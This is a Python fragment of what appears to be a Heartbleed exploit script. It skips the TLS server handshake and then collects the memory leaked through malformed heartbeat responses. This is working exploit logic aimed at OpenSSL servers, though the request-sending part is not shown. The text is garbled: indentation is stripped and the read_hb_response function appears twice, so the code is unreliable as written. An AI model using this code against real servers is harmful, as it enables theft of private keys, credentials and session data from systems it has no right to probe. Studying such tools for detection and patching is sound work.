def skip_server_handshake(sock, timeout):
end_time = time.time() + timeout
hs_struct = struct.Struct(b'!BBH')
for i in range(0, 5):
record, error = read_record(sock, timeout)
timeout = end_time - time.time()
if not record:
raise Failure('Unexpected server handshake! ' + str(error))
content_type, sslver_num, fragment = record
if content_type != 22:
raise Failure('Expected handshake type, got ' + str(content_type))
sslver = '{0:02x} {1:02x}'.format(sslver_num >> 8, sslver_num & 0xFF)
off = 0
# Records may consist of multiple handshake messages
while off + hs_struct.size <= len(fragment):
hs_type, len_high, len_low = hs_struct.unpack_from(fragment, off)
if off + len_low > len(fragment):
raise Failure('Illegal handshake length!')
off += hs_struct.size + len_low
# Server handshake is complete after ServerHelloDone
if hs_type == 14:
# Ready to check for vulnerability
return sslver
raise Failure('Too many handshake messages')
def read_hb_response(sock, timeout):
end_time = time.time() + timeout
memory = bytearray()
hb_len = 1 # Will be initialized after first heartbeat
read_error = None
alert = None
while len(memory) < hb_len and timeout > 0:
record, read_error = read_record(sock, timeout, partial=True)
if not record:
break
record_type, _, fragment = record
if record_type == 24:
if not memory: # First Heartbeat
# Check for enough room for type + len
if len(fragment) < 3:
if read_error: # Ignore error due to partial read
break
raise Failure('Response too small')
# Sanity check, should not happen with OpenSSL
if fragment[0:1] != b'\2':
raise Failure('Expected Heartbeat in first response')
hb_len, = struct.unpack_from(b'!H', fragment, 1)
memory += fragment[3:]
else: # Heartbeat continuation
memory += fragment
elif record_type == 21 and len(fragment) == 2: # Alert
alert = fragment
break
else:
# Cannot tell whether vulnerable or not!
raise Failure('Unexpected record type {0}'.format(record_type))
timeout = end_time - time.time()
# Drop heartbeat padding that is included in buffer
if len(memory) - 16 == hb_len:
del memory[hb_len:]
# Check for Alert (sent by NSS)
if alert:
lvl, desc = alert[0:1], ord(alert[1:2])
lvl = 'Warning' if lvl == 1 else 'Fatal'
print('Got Alert, level={0}, description={1}'.format(lvl, desc))
if not memory:
print('Not vulnerable! (Heartbeats disabled or not OpenSSL)')
return None
# Do not print error if we have memory, server could be crashed, etc.
if read_error and not memory:
print('Did not receive heartbeat response! ' + str(read_error))
return memory
def read_hb_response(sock, timeout):
end_time = time.time() + timeout
memory = bytearray()
hb_len = 1 # Will be initialized after first heartbeat
read_error = None
alert = None
while len(memory) < hb_len and timeout > 0:
record, read_error = read_record(sock, timeout, partial=True)
if not record:
break
record_type, _, fragment = record
if record_type == 24:
if not memory: # First Heartbeat
# Check for enough room for type + len
if len(fragment) < 3:
if read_error: # Ignore error due to partial read
break
raise Failure('Response too small')
# Sanity check, should not happen with OpenSSL
if fragment[0:1] != b'\2':
raise Failure('Expected Heartbeat in first response')
hb_len, = struct.unpack_from(b'!H', fragment, 1)
memory += fragment[3:]
else: # Heartbeat continuation
memory += fragment
elif record_type == 21 and len(fragment) == 2: # Alert
alert = fragment
break
else:
# Cannot tell whether vulnerable or not!
raise Failure('Unexpected record type {0}'.format(record_type))
timeout = end_time - time.time()
# Drop heartbeat padding that is included in buffer
if len(memory) - 16 == hb_len:
del memory[hb_len:]
# Check for Alert (sent by NSS)
if alert:
lvl, desc = alert[0:1], ord(alert[1:2])
lvl = 'Warning' if lvl == 1 else 'Fatal'
print('Got Alert, level={0}, description={1}'.format(lvl, desc))
if not memory:
print('Not vulnerable! (Heartbeats disabled or not OpenSSL)')
return None
# Do not print error if we have memory, server could be crashed, etc.
if read_error and not memory:
print('Did not receive heartbeat response! ' + str(read_error))
return memory